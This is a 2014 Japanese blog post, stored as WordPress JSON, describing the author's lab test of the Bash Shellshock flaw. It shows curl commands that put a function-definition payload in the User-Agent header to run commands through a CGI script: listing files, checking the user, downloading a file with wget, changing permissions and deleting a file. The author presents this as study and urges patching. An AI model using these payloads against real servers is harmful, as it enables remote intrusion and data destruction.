{"id":4466,"date":"2014-09-29T16:11:22","date_gmt":"2014-09-29T07:11:22","guid":{"rendered":"http:\/\/www.vincentina.net\/?p=4466"},"modified":"2014-09-29T16:11:22","modified_gmt":"2014-09-29T07:11:22","slug":"%e3%81%bc%e3%81%a1%e3%81%bc%e3%81%a1bash%e3%81%ae%e8%84%86%e5%bc%b1%e6%80%a7%e3%82%92%e8%aa%bf%e3%81%b9%e3%81%a6%e3%81%bf%e3%82%8b","status":"publish","type":"post","link":"https:\/\/www.vincentina.net\/?p=4466","title":{"rendered":"\u307c\u3061\u307c\u3061bash\u306e\u8106\u5f31\u6027\u3092\u8abf\u3079\u3066\u307f\u308b"},"content":{"rendered":"<p>\u3082\u3046\u3044\u304f\u3064\u5bdd\u308b\u3068\u79cb\u3060\u306d\u3002\u3063\u3066\u3044\u3046\u304b\u3082\u3046\u79cb\u3060\u3088\u3002\u5bd2\u3044\u3088\uff01<\/p>\n<p>\u4eca\u5e74\u306fDNS\u306eDoS\u95a2\u9023\u304b\u3089\u59cb\u307e\u308a\u3001Apache\u30de\u30ae\u30ab\u306f\u53bb\u5e74\u3060\u3063\u3051\u3001HeartBleed\u3084\u4eca\u56de\u306eBash\u3068\u3044\u3044\u8106\u5f31\u306a\u5e74\u306b\u306a\u3063\u3066\u307e\u3059\u304c\u3001\u3053\u306a\u3044\u3060\u9ad8\u6821\u751f\u304cDDoS\u3067\u521d\u306e\u691c\u6319\u3068\u3044\u3046\u4e8b\u4ef6\u307e\u3067\u8d77\u3053\u3063\u3066\u3057\u307e\u3044\u3001\u30b5\u30a4\u30d0\u30fc\u306a\u30d2\u30e3\u30c3\u30cf\u30fc\u306a\u4e16\u754c\u306b\u306a\u3063\u3066\u304d\u3066\u3044\u308b\u3088\u3046\u306a\u6c17\u304c\u3059\u308b\u306a\u3041\u3002<\/p>\n<p>\u305d\u3093\u306aBash\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u3001\u81ea\u5206\u306e\u30dc\u30ad\u30e3\u30d6\u30e9\u30ea\u30fc\u306e\u306a\u3055\u304b\u3089\u3044\u307e\u3044\u3061\u30d4\u30f3\u3068\u6765\u306a\u304b\u3063\u305f\u3093\u3060\u3051\u3069\u3001\u3082\u3046\u4e0b\u706b\u306b\u306a\u3063\u3066\u305d\u3046\u306a\u306e\u3068\u3001\u5371\u967a\u5ea6\u9ad8\u3068\u3044\u3046\u4e8b\u3067\u3061\u3087\u3063\u3068\u8a66\u3057\u3066\u307f\u305f\u3089\u78ba\u304b\u306b\u3053\u3044\u3064\u306f\u5384\u4ecb\u306a\u3082\u306e\u3060\u3063\u305f\u3002<\/p>\n<p>\u30b0\u30b0\u308c\u3070\u51fa\u3066\u304f\u308b\u3088\u3046\u306b\u5404\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306f\u5bfe\u7b56\u6e08\u307f\u306e\u3088\u3046\u3067yum\u3068\u304bapt\u3067\u554f\u984c\u306f\u30af\u30ea\u30a2\u3067\u304d\u308b\u3002<br \/>\n\u74b0\u5883\u5909\u6570\u3067\u30b3\u30de\u30f3\u30c9\u3092\u901a\u3057\u3066\u5b9f\u884c\u3059\u308b\u3063\u3066\u611f\u3058\u306a\u306e\u304b\u306d\u3002\u3053\u308c\u3082\u30b0\u30b0\u308c\u3070\u3084\u308a\u65b9\u306f\u51fa\u3066\u304f\u308b\u3002<br \/>\n\u3053\u306a\u3044\u3060\u30ed\u30fc\u30ab\u30eb\u3067\u30cf\u30fc\u30c8\u30d3\u30fc\u30c8\u306e\u691c\u8a3c\u3092\u3057\u305fCentos6\u306eBash\u304c\u53e4\u3044\u307e\u307e\u306a\u306e\u3067\u3001\u305d\u308c\u3092\u4f7f\u3063\u3066\u5b9f\u9a13\u3057\u3066\u307f\u3088\u3046\u3002<\/p>\n<p>\u3068\u308a\u3042\u3048\u305a\u30db\u30b9\u30c8HB2\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u30eb\u30fc\u30c8\u306bCGI\u3092\u8a2d\u7f6e\u3057\u3066\u3001\u30db\u30b9\u30c8HB3\u304b\u3089\u3044\u305f\u3065\u3089\u3059\u308b\u3088\u3046\u306b\u4e0b\u3054\u3057\u3089\u3048\u3057\u307e\u3057\u3057\u305f\u3002<br \/>\n\u3042\u304f\u307e\u3067\u52c9\u5f37\u306e\u305f\u3081\u306e\u691c\u8a3c\u3067\u3059\u3002<\/p>\n<pre>[takeken@hb02 ~]$ ip addr show eth1\r\n3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000\r\n\u00a0\u00a0\u00a0 link\/ether 00:0c:29:5c:c4:e2 brd ff:ff:ff:ff:ff:ff\r\n\u00a0\u00a0\u00a0 inet 192.168.24.70\/24 brd 192.168.24.255 scope global eth1<\/pre>\n<pre>[takeken@hb03 ~]$ ip addr show eth1\r\n3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000\r\n\u00a0\u00a0\u00a0 link\/ether 00:0c:29:4f:89:17 brd ff:ff:ff:ff:ff:ff\r\n\u00a0\u00a0\u00a0 inet 192.168.24.71\/24 brd 192.168.24.255 scope global eth1<\/pre>\n<p>\u304b\u308b\u304fCGi\u3092\u5229\u7528\u3057\u3066\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u308b\u306e\u304b\u8a66\u3057\u3066\u307f\u307e\u3059\u3002<\/p>\n<pre>[takeken@hb03 ~]$ curl -A \"() { hoge;}; echo Content-type:text\/plain;echo;\/bin\/ls \/var\/www\/html\" http:\/\/192.168.24.70\/hoge.cgi\r\nhoge.cgi<\/pre>\n<p>\u3053\u3093\u306a\u611f\u3058\u3067\u30ed\u30b0\u30a4\u30f3\u305b\u305a\u3068\u3082\/bin\/ls \/var\/www\/html\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306f\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306f\u8d85\u3048\u306a\u3044\u3051\u308c\u3069\u3001\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306e\u4e2d\u3067\u306f\u4f55\u3067\u3082OK\u3068\u3044\u3046\u3082\u306e\u306a\u306e\u3067\u3001\u3061\u3087\u3063\u3068\u904a\u3093\u3067\u307f\u308b\u3002<\/p>\n<p>\u308f\u305f\u3057\u306f\u8ab0\uff1f<\/p>\n<pre>[takeken@hb03 ~]$ curl -A \"() { hoge;}; echo Content-type:text\/plain;echo;\/usr\/bin\/whoami\" http:\/\/192.168.24.70\/hoge.cgi\r\napache\r\n\r\n[takeken@hb03 ~]$ curl -A \"() { hoge;}; echo Content-type:text\/plain;echo;\/usr\/bin\/id\" http:\/\/192.168.24.70\/hoge.cgi\r\nuid=48(apache) gid=48(apache) groups=48(apache)<\/pre>\n<p>Apache\u306e\u3088\u3046\u3067\u3059\u306d\u3002<br \/>\n\/tmp\u306b\u6700\u65b0\u306eApache\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3084\u308b\uff01<\/p>\n<pre>[takeken@hb03 ~]$ curl -A \"() { hoge;}; echo Content-type:text\/plain;echo;\/usr\/bin\/wget -P \/tmp http:\/\/ftp.riken.jp\/net\/apache\/\/httpd\/httpd-2.4.10.tar.gz\" http:\/\/192.168.24.70\/hoge.cgi<\/pre>\n<pre>[takeken@hb02 ~]$ ls -l \/tmp\r\n\u5408\u8a08 15588\r\n-rw-r--r--\u00a0 1 apache\u00a0 apache 6820719\u00a0 7\u6708 19 23:30 2014 httpd-2.4.10.tar.gz<\/pre>\n<p>\u304a\u304a\u304a\u3001\u77e5\u3089\u306a\u3044\u3042\u3044\u3060\u306b\/tmp\u306bapache\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u305e\uff01<br \/>\n\u3068\u3044\u3046\u611f\u3058\u3067\u308f\u308a\u3068\u8272\u3005\u3067\u304d\u308b\u3088\u3046\u3067\u3059\u304c\u3001\u4f7f\u3048\u306a\u3044\u30b3\u30de\u30f3\u30c9\u3082\u308f\u308a\u3068\u591a\u3044\u3067\u3059\u3002<\/p>\n<p>\u3082\u3061\u308d\u3093\u3067\u3059\u304c\u6240\u6709\u30d5\u30a1\u30a4\u30eb\u3067\u3042\u308c\u3070\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306e\u5909\u66f4\u3082\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre>[takeken@hb03 ~]$ curl -A \"() { hoge;}; echo Content-type:text\/plain;echo;\/bin\/chmod 000 \/var\/www\/html\/hoge.cgi\" http:\/\/192.168.24.70\/hoge.cgi<\/pre>\n<pre>[root@hb02 takeken]# ls -l \/var\/www\/html\/hoge.cgi\r\n---------- 1 apache apache 115\u00a0 9\u6708 28 20:29 2014 \/var\/www\/html\/hoge.cgi<\/pre>\n<p>\u6700\u5f8c\u306brm\u3067\u6d88\u3057\u3066\u3084\u308d\u3046\u3068\u601d\u3063\u305f\u3089\u3001\u4f7f\u3063\u3066\u3044\u305fCGI\u306e\u5b9f\u884c\u6a29\u304c\u5931\u308f\u308c\u305f\u3053\u3068\u3067\u9060\u9694\u304b\u3089\u306e\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u3082\u3067\u304d\u306a\u304f\u306a\u3063\u3066\u3057\u307e\u3063\u305f\u3002<br \/>\n\u5b9f\u9a13\u4e2d\u306a\u306e\u3060\u304c\u3001\u975e\u5e38\u306b\u307e\u306c\u3051\u3060\u3002<\/p>\n<pre>[takeken@hb03 ~]$ curl -A \"() { hoge;}; echo Content-type:text\/plain;echo;\/bin\/rm \/var\/www\/html\/hoge.cgi\" http:\/\/192.168.24.70\/hoge.cgi\r\n&lt;!DOCTYPE HTML PUBLIC \"-\/\/IETF\/\/DTD HTML 2.0\/\/EN\"&gt;\r\n&lt;html&gt;&lt;head&gt;\r\n&lt;title&gt;500 Internal Server Error&lt;\/title&gt;<\/pre>\n<p>\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u306b\u3064\u3044\u3066\u3084\/sbin\/nologin\u3067\u3042\u308b\u306f\u305a\u306e\u30b7\u30a7\u30eb\u3092\u6301\u305f\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u3067\u4f55\u304c\u3067\u304d\u308b\u306e\u304b\u306a\u3069\u3001\u610f\u5916\u306a\u90e8\u5206\u3067\u53c2\u8003\u306b\u306a\u308a\u307e\u3059\u3002<br \/>\n\u3093\u3067\u307e\u305f\u8a00\u3044\u307e\u3059\u304c\u3001\u7d50\u69cb\u4f7f\u3048\u306a\u3044\u30b3\u30de\u30f3\u30c9\u304c\u591a\u3044\u3067\u3059\u3002<br \/>\n\u3067\u3059\u304c\u3001\u30ba\u30d0\u30ea\u3084\u308a\u65b9\u306f\u8f09\u305b\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u304b\u306a\u308a\u3072\u3069\u3044\u4e8b\u3082\u3067\u304d\u3066\u3057\u307e\u3046\u306e\u3067Bash\u306e\u30a2\u30d7\u30c7\u306f\u5fc5\u305a\u3084\u308a\u307e\u3057\u3087\u3046\u3002<\/p>\n<p>\u3067\u304d\u308b\u306a\u3089Bash\u306e\u30b3\u30fc\u30c9\u3092\u3058\u3063\u304f\u308a\u8aad\u3093\u3067\u3069\u3046\u3057\u3066\u3053\u3046\u306a\u3063\u305f\u304b\u3068\u3044\u3046\u4e8b\u3092\u8003\u3048\u305f\u308a\u3059\u308b\u306e\u304c\u3044\u3044\u3093\u3067\u3057\u3087\u3046\u306d\u3002\u3082\u3063\u3068\u5f15\u304d\u51fa\u3057\u304c\u3042\u308c\u3070\u8272\u3005\u8a66\u3057\u3066\u3001\u305d\u3053\u304b\u3089\u3055\u3089\u306b\u65b0\u3057\u3044\u77e5\u8b58\u304c\u5897\u3048\u305f\u308a\u3059\u308b\u306e\u3067\u3057\u3087\u3046\u304c\u3001\u7720\u3044\u306e\u3068\u4f55\u3060\u304b\u8272\u3005\u3067\u3001\u4eca\u56de\u306f\u3082\u3046\u3044\u3044\u304b\u306a\u3041\u3068\u3002<\/p>\n<p>\uff5a\uff5a\uff5a<\/p>\n<p>&nbsp;<\/p>\n<div class='wp_social_bookmarking_light'>        <div class=\"wsbl_twitter\"><a href=\"https:\/\/twitter.com\/share\" class=\"twitter-share-button\" data-url=\"https:\/\/www.vincentina.net\/?p=4466\" data-text=\"\u307c\u3061\u307c\u3061bash\u306e\u8106\u5f31\u6027\u3092\u8abf\u3079\u3066\u307f\u308b\" data-via=\"TakekenTw\" data-lang=\"ja\">Tweet<\/a><\/div><\/div>\n<br class='wp_social_bookmarking_light_clear' \/>\n","protected":false},"excerpt":{"rendered":"<p>\u3082\u3046\u3044\u304f\u3064\u5bdd\u308b\u3068\u79cb\u3060\u306d\u3002\u3063\u3066\u3044\u3046\u304b\u3082\u3046\u79cb\u3060\u3088\u3002\u5bd2\u3044\u3088\uff01 \u4eca\u5e74\u306fDNS\u306eDoS\u95a2\u9023\u304b\u3089\u59cb\u307e\u308a\u3001Apache\u30de\u30ae\u30ab\u306f\u53bb\u5e74\u3060\u3063\u3051\u3001HeartBleed\u3084\u4eca\u56de\u306eBash\u3068\u3044\u3044\u8106\u5f31\u306a\u5e74\u306b\u306a\u3063\u3066\u307e\u3059\u304c\u3001\u3053\u306a\u3044\u3060\u9ad8\u6821\u751f\u304cDDoS\u3067\u521d\u306e &hellip; <a href=\"https:\/\/www.vincentina.net\/?p=4466\" class=\"more-link\"><span class=\"screen-reader-text\">&#8220;\u307c\u3061\u307c\u3061bash\u306e\u8106\u5f31\u6027\u3092\u8abf\u3079\u3066\u307f\u308b&#8221; \u306e<\/span>\u7d9a\u304d\u3092\u8aad\u3080<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[89],"tags":[],"class_list":["post-4466","post","type-post","status-publish","format-standard","hentry","category-security"],"_links":{"self":[{"href":"https:\/\/www.vincentina.net\/index.php?rest_route=\/wp\/v2\/posts\/4466","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vincentina.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vincentina.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vincentina.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vincentina.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4466"}],"version-history":[{"count":0,"href":"https:\/\/www.vincentina.net\/index.php?rest_route=\/wp\/v2\/posts\/4466\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.vincentina.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4466"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vincentina.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4466"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vincentina.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4466"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}